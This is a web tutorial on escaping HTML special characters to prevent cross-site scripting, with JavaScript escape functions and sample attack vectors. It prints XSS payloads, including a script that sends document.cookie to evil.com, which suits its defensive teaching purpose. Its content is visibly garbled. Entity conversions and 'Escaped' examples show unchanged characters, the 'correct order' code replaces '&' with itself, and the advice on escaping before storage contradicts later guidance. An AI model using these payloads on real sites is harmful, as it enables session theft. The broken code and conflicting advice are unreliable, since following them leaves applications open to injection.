How to Escape HTML Special Characters (XSS Prevention)

If you allow users to post text on your website, you’re vulnerable.

A user could type <script>stealCookies()</script> into a comment box. If your website displays that text exactly as written, the browser will execute the script, potentially stealing session data from everyone who views the comment. This is Cross-Site Scripting (XSS).

The solution is HTML Escaping.

What is HTML Escaping?

Escaping means converting special characters into their corresponding HTML Entities (safe text representations).

• < becomes <
• > becomes >
• & becomes &
• " becomes "
• ' becomes '

When the browser sees <script>, it displays the text "

How to Escape in JavaScript

The DOM Method (Browser)

The safest way to escape text in the browser is to let the DOM do it for you.

function escapeHTML(str) {
    let div = document.createElement('div');
    div.innerText = str;
    return div.innerHTML;
}

The Replace Method (Node.js / React)

If you don’t have access to the DOM, use a simple regex replacement function:

const escapeHTML = (str) =>
  str.replace(/[&<>"']/g, 
    tag => ({
      '&': '&amp;',
      '<': '&lt;',
      '>': '&gt;',
      '"': '&quot;',
      "'": '&#39;'
    }[tag]));

Real-World Applications

Displaying User Comments

When building a comment system, blog, or forum, you need to escape user input before storing it in your database. Even though you’re escaping on output, double-escaping is common practice for defense in depth.

Generating Meta Tags Programmatically

If you’re creating dynamic Open Graph or Twitter meta tags, any user-generated content (like product titles) must be escaped to prevent breaking the HTML structure.

const metaTag = `<meta property="og:title" content="${escapeHTML(userTitle)}" />`;

Embedding Code Snippets in Documentation

Technical blogs often show code examples. Without escaping, a snippet like <div class="container"> would be rendered as an actual HTML element instead of displayed as text.

Common XSS Attack Vectors

Script Injection

The most obvious attack is injecting a <script> tag. Attackers can steal cookies, redirect users, or modify page content.

Attack: <script>fetch('https://evil.com?cookie='+document.cookie)</script>

Escaped: <script>fetch('https://evil.com?cookie='+document.cookie)</script>

Event Handler Injection

Even without <script> tags, attackers can use event handlers like onerror or onload.

Attack: <img src=x onerror="alert('Hacked')">

Escaped: <img src=x onerror="alert('Hacked')">

HTML Entity Exploitation

If you only escape < and >, attackers can still inject malicious attributes using quotes.

Attack: " onload="alert('XSS')

This is why you must also escape " and '.

Common Mistakes to Avoid

Escaping Only Opening Brackets

Some developers only escape < but forget >. This leaves room for certain injection techniques that rely on malformed HTML.

Wrong:

str.replace(/</g, '&lt;');  // Missing >

Using Blacklists Instead of Whitelists

Trying to block specific patterns like <script> is futile. Attackers can use variations like <Script>, <scr<script>ipt>, or even Unicode characters to bypass filters.

Wrong Approach:

str.replace(/<script>/gi, '');  // Easily bypassed

Correct Approach: Escape ALL special characters, not just suspicious ones.

Forgetting to Escape Ampersands

The & character is used to start HTML entities. If you don’t escape it, you risk double-escaping or creating invalid entities.

Example: User enters AT&T

Without escaping &: AT&T might render as AT&T after multiple passes.

Correct: AT&T

Escaping in the Wrong Order

Always escape & first. If you escape < before &, you’ll double-escape.

Wrong Order:

str.replace(/</g, '&lt;')  // Converts < to &lt;
   .replace(/&/g, '&amp;'); // Converts & to &amp; (breaks &lt; into &amp;lt;)

Correct Order:

str.replace(/&/g, '&')  // Escape & first
   .replace(/</g, '&lt;');  // Then < and >

Pro Tips

Context Matters

Escaping requirements differ based on where the data appears.

Context	Required Escaping
HTML Body	<, >, &
HTML Attributes	Add ", '
JavaScript Strings	Add \, newlines
URLs	Use encodeURIComponent() instead

Server-Side vs. Client-Side

Always escape on output, not on input. If you escape when storing data, you’ll have escaped text in your database, making it harder to use that data in non-HTML contexts (like emails or PDFs).

Best Practice: Store raw text, escape when rendering.

Template Engines Handle This Automatically

Modern frameworks like React, Vue, and Angular automatically escape text by default. Only use dangerouslySetInnerHTML (React) or v-html (Vue) when you absolutely need raw HTML.

// React escapes automatically
<p>{userInput}</p>

// Only bypass if you trust the source
<div dangerouslySetInnerHTML={{__html: trustedHTML}} />

When NOT to Escape

If you’re building a rich text editor (like a WYSIWYG), you need to allow certain HTML tags. In this case, use a sanitization library like DOMPurify instead of escaping.

DOMPurify removes dangerous elements while preserving safe ones like <b>, <i>, <p>.

Frequently Asked Questions

What is the difference between escaping and sanitizing?

Escaping converts characters into safe representations (e.g., < becomes <). Sanitizing removes or modifies dangerous content while preserving safe elements. Use escaping for plain text, sanitizing for rich content.

Do I need to escape text going into a database?

No. Escape on output, not input. For databases, use parameterized queries to prevent SQL injection (a different attack).

Can I just use .textContent instead of escaping?

In the browser, yes. Setting .textContent treats everything as plain text, preventing script execution. But this only works client-side.

What about JSON data?

JSON has its own escaping rules for ", \, newlines, etc. Use JSON.stringify() for JSON, not HTML escaping.

Is   safe to use?

Yes,   is a valid HTML entity for a non-breaking space. Browsers interpret it correctly.

Use the Online Tool

Need to quickly sanitize a code snippet for your blog? Or decode a messy string like Hello%20&%20Welcome?

Use our Free HTML Encoder/Decoder to handle the conversion instantly. It supports batch processing, automatic detection, and provides both escaped and unescaped output for verification.